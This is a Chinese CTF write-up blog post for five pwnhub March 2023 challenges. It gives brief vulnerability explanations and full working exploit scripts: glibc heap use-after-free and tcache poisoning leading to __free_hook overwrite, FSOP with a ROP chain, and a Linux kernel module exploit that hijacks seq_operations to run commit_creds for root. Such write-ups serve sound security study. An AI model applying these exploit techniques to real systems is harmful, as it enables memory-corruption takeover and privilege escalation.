pwnhub3月公开赛&&内部赛

sh_v1

漏洞在命令 ln 中,它会直接对堆地址复制,造成uaf。

解题思路:

  • 利用uaf,使用gedit修改已经释放的chunk中的key,然后double free。
  • 修改tcache的next指针,使其指向tcache的头,修改0x290的数量为7,释放它就可以得到unsorted bin,进一步泄漏libc地址。
  • 继续编辑tcache的头,修改0x210的数量为7,并在相应的位置写入__free_hook。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
elf = ELF('sh_v1.1')
libc = ELF('/home/x/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
#libc = elf.libc
#p = process('./sh_v1.1')
p = remote('121.40.89.206', 34883)
context.log_level = 'debug'

def send_command(content):
p.sendlineafter(b'>>>>', content)

send_command(b'touch flag')
p.sendline(b'aaaa')
send_command(b'touch flag1')
p.sendline(b'aaaa')
send_command(b'rm flag1')

send_command(b'ln flag flag1')
send_command(b'ln flag flag2')
send_command(b'rm flag')
send_command(b'gedit flag1')
p.sendline(b'\x00' * 0x10)
send_command(b'rm flag1')

send_command(b'cat flag2')
heap_addr = u64(p.recvuntil(b'\n', drop=True)[-6:].ljust(8, b'\x00'))
print(hex(heap_addr))

send_command(b'touch flag')
p.sendline(p64(heap_addr - 0x290))
send_command(b'touch flag1')
p.sendline(b'/bin/sh\x00')

payload = p64(0) * 7 + p32(0) + p16(0) + p16(7) + p64(0) + p32(0) + p16(0) + p16(7)
send_command(b'touch flag3')
p.sendline(payload)

send_command(b'ln flag3 flag4')
send_command(b'rm flag3')
send_command(b'cat flag4')
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(leak_addr))
malloc_hook = leak_addr - 96 - 0x10
print(hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

payload = p64(0) * 7 + p32(0) + p16(0) + p16(7) + b'\x00' * 0x40 + b'\x00' * 0xf8 + p64(free_hook)
send_command(b'gedit flag4')
p.sendline(payload)

send_command(b'touch flag5')
p.sendline(p64(sys_addr))
send_command(b'rm flag1')
p.interactive()

kheap

攻击思路:

  1. 使用0x10002这个选项时直接复制堆地址,释放堆块后select中存了堆地址,造成uaf。
  2. 使用seq_file,其正好会使用0x20大小的堆块,直接read就可以泄漏内核地址。
  3. write修改seq_operations的内容,并给相应的寄存器复制构造ROP,最后调用read的系统调用。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <signal.h>

size_t commit_creds = 0xffffffff810ce710;
size_t prepare_kernel_cred = 0xffffffff810cebf0;
size_t init_cred = 0xffffffff82c6b920;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;

size_t add_rsp_0x1a8_ret = 0xffffffff817d1e76;
size_t pop_rdi_ret = 0xffffffff8102517a;
size_t kernel_offset;

struct info
{
size_t idx;
void *buf;
};

int kheap_fd, seq_fd;
size_t buf[0x10];


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("[*] Status has been saved. \n");
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("[*] Process binded to core %d\n", core);
}

void get_shell(){
if(getuid()){
printf("[x] Failed to get the root!\n");
exit(-1);
}
system("/bin/sh");
exit(0);
}

void add(size_t idx){
struct info a;
a.idx = idx;
ioctl(kheap_fd, 0x10000, &a);
}

void del(size_t idx){
struct info a;
a.idx = idx;
ioctl(kheap_fd, 0x10001, &a);
}

void mov(size_t idx){
struct info a;
a.idx = idx;
ioctl(kheap_fd, 0x10002, &a);
}

void gift(size_t idx , void *buf){
struct info a = {idx, buf};
ioctl(kheap_fd, 0x6666, &a);
}

int main(){
save_status();
bind_core(0);

kheap_fd = open("/dev/kheap", 2);
if(kheap_fd < 0){
printf("Failed to open!\n");
exit(-1);
}

add(0);
mov(0);
del(0);

seq_fd = open("/proc/self/stat", 0);
if(seq_fd < 0){
printf("Failed to open!\n");
exit(-1);
}

read(kheap_fd, buf, 0x20);
printf("leak_addr_is 0x%lx\n", buf[0]);
kernel_offset = buf[0] - 0xffffffff8133f980;
printf("kernel_offset_is 0x%lx\n", kernel_offset);
buf[0] = add_rsp_0x1a8_ret + kernel_offset;

write(kheap_fd, buf, 8);

pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = swapgs_restore_regs_and_return_to_usermode + 10 + kernel_offset;

__asm__(
"mov r15, 0;"
"mov r14, 0;"
"mov r13, pop_rdi_ret;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"xor rax, rax;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

system("/bin/sh");
exit(0);

}

ttsc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import*
elf = ELF('ttsc')
libc = elf.libc
#p = process('./ttsc')
global p
context.log_level = 'debug'

def add(index, size, content):
p.sendlineafter(b'chs:', b'1')
p.sendlineafter(b'index?', str(index).encode())
p.sendlineafter(b'size:', str(size).encode())
p.send(content)
def delete(index):
p.sendlineafter(b'chs:', b'2')
p.sendlineafter(b'index?', str(index).encode())
def edit(index, content):
p.sendlineafter(b'chs:', b'3')
p.sendlineafter(b'index?', str(index).encode())
p.sendafter(b'content:', content)

def pwn():
p.sendlineafter(b'name?', b'a' * 8)
p.sendlineafter(b'age?', b'111')
p.sendlineafter(b'high?', b'666')
add(0, 0x18, b'a\n')
add(1, 0x10, b'a\n')
add(2, 0x20, b'a\n')
add(3, 0x20, b'\x00' * 0x18 + p64(0x31))
delete(0)
delete(1)
delete(3)
delete(2)


for i in range(5, 8):
add(0, i * 0x10, b'a\n')
add(1, i * 0x10, b'a\n')
add(2, i * 0x10, b'a\n')
add(3, i * 0x10, b'a\n')
delete(3)
delete(2)
delete(1)
delete(0)

add(0, 0x18, b'a\n')
add(1, 0x18, b'a\n')
payload = b'\x00' * 0x18 + b'\x51'
edit(1, payload)
delete(0)
delete(1)

payload = b'\x00' * 0x18 + p64(0x31) + b'\xf0'
add(0, 0x40, payload)
add(1, 0x50, b'a\n')
add(2, 0x20, b'a\n')
add(3, 0x20, p64(0) + p64(0x4c1))

delete(1)
delete(0)
add(0, 0x20, b'a\n')
add(1, 0x20, b'a\n')
delete(0)
delete(1)
delete(3)
delete(2)

add(0, 0x30, b'\x60' + b'\x57')
add(1, 0x50, b'a\n')
add(2, 0x50, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
leak = u64(p.recvuntil(b'\x7f', timeout=1)[-6:].ljust(8, b'\x00')) - 0x1150
libc_base = leak - libc.sym['_IO_2_1_stdout_']
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

print(hex(libc_base))


delete(0)
payload = b'\x00' * 0x18 + p64(0x31) + p64(free_hook)
add(0, 0x40, payload)
delete(0)
add(0, 0x20, b'/bin/sh\x00')
add(3, 0x20, p64(sys_addr))
delete(0)
p.interactive()
#gdb.attach(p)
#pause()
while True:
try:
#p = process('./ttsc')
p = remote('121.40.89.206', 20111)
pwn()
except Exception as e:
p.close()

three_edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
elf = ELF('pwn4')
#libc = ELF('libc-2.31.so')
libc = elf.libc
#p = process('./pwn4', aslr=False)
global p
context.log_level = 'debug'

def add(index, size, content):
p.sendlineafter(b'is:', b'1')
p.sendlineafter(b'index:', str(index).encode())
p.sendlineafter(b'size:', str(size).encode())
p.sendlineafter(b'content:', content)
def delete(index):
p.sendlineafter(b'is:', b'2')
p.sendlineafter(b'index', str(index).encode())
def edit(index, content):
p.sendlineafter(b'is:', b'3')
p.sendlineafter(b'index?', str(index).encode())
p.sendlineafter(b'content:', content)

def pwn():
add(1, 0x50, b'a')
add(2, 0x50, p64(0) * 7 + p64(0x61))
add(0, 0x50, b'a')
delete(2)
delete(1)

for i in range(1, 10):
add(i, 0x70, b'a')
delete(4)
delete(3)
delete(2)
delete(1)
edit(-62, b'\x40')
add(1, 0x50, b'a')
add(2, 0x50, p64(0) * 3 + p64(0x461))
delete(0)
add(0, 0x50, b'')

add(3, 0x50, b'')
edit(-60, b'\xa0' + b'\x86')
add(4, 0x70, b'a')
edit(-60, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
#p.recvuntil(b'\x7f', timeout=1)
leak = u64(p.recvuntil(b'\x7f', timeout=1)[-6:].ljust(8, b'\x00')) + 0xd20
libc_base = leak - libc.sym['_IO_2_1_stdout_']
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
if libc_base < 0:
return

sleep(4)
delete(0)
delete(1)
edit(-62, p64(free_hook))
add(0, 0x50, b'/bin/sh\x00')
add(1, 0x50, p64(sys_addr))
delete(0)
p.interactive()
#gdb.attach(p)
#pause()
#p = process('./pwn4')
#pwn()

while True:
try:
#p = process('./pwn4')
p = remote('121.40.89.206', 21795)
pwn()
except Exception as e:
p.close()

tototo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import*
elf = ELF('./tototo')
libc = ELF('libc-2.31.so')
#p = process('./tototo')
p = remote('121.40.89.206', 36789)
context.log_level = 'debug'
context.arch = 'amd64'

def add(index, size):
p.sendlineafter(b'is:', b'1')
p.sendlineafter(b'index?', str(index).encode())
p.sendlineafter(b'size?', str(size).encode())

def delete(index):
p.sendlineafter(b'is:', b'2')
p.sendlineafter(b'one?', str(index).encode())

def edit(index, content):
p.sendlineafter(b'is:', b'3')
p.sendlineafter(b'one?', str(index).encode())
p.sendlineafter(b'content?', content)

def show(index):
p.sendlineafter(b'is:', b'4')
p.sendlineafter(b'one?', str(index).encode())

def cadd(index, size):
p.sendlineafter(b'is:', b'5')
p.sendlineafter(b'index?', str(index).encode())
p.sendlineafter(b'size?', str(size).encode())

cadd(0, 0x200)
cadd(1, 0x420)
cadd(2, 0x200)
cadd(3, 0x410)
cadd(4, 0x200)
delete(0)
delete(2)
show(2)
p.recvuntil(b'\n')
heap_addr = u64(p.recvuntil(b'\n', drop=True)[-6:].ljust(8, b'\x00')) - 0x2a0
print(hex(heap_addr))

delete(1)
show(1)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
libc_base = leak - libc.sym['__malloc_hook']
IO_list_all = libc_base + libc.sym['_IO_list_all']
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_r12_ret = libc_base + 0x11c371
ret = pop_rdi_ret + 1
print(hex(libc_base))

cadd(5, 0x430)
delete(3)
payload = b'\x00' * 7 + p64(0) + p64(IO_list_all - 0x20)
edit(1, payload)
cadd(6, 0x430)

fake_addr = heap_addr + 0xae0
fake_IO_FILE = b'\x00' * 7 + p64(0) + p64(1)
fake_IO_FILE += b'\x00' * 0x58
fake_IO_FILE += p64(heap_addr) #_lock
fake_IO_FILE += b'\x00' * 0x10
fake_IO_FILE += p64(fake_addr + 0xe0)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(IO_wfile_jumps)
fake_IO_FILE += b'\x00' * 0x68
fake_IO_FILE += p64(setcontext + 61)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(fake_addr + 0x200)
fake_IO_FILE += p64(ret)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(fake_addr + 0xe0)
fake_IO_FILE += b'\x00' * 0x38

payload = fake_IO_FILE
payload += flat(
p64(pop_rdi_ret), p64(heap_addr),
p64(pop_rsi_ret), p64(0x1000),
p64(pop_rdx_r12_ret), p64(7), p64(0),
p64(mprotect),
p64(fake_addr + 0x248)
)

payload += asm(shellcraft.cat('/flag.txt'))
edit(3, payload)
edit(0, b'a')

#gdb.attach(p)
#pause()
p.sendlineafter(b'is:', b'3')
#pause()
p.interactive()

pwnhub3月公开赛&&内部赛
https://xtxtn.github.io/2023/03/14/pwnhub3月公开赛&&内部赛/
作者
xtxtn
发布于
2023年3月14日
更新于
2023年3月14日
许可协议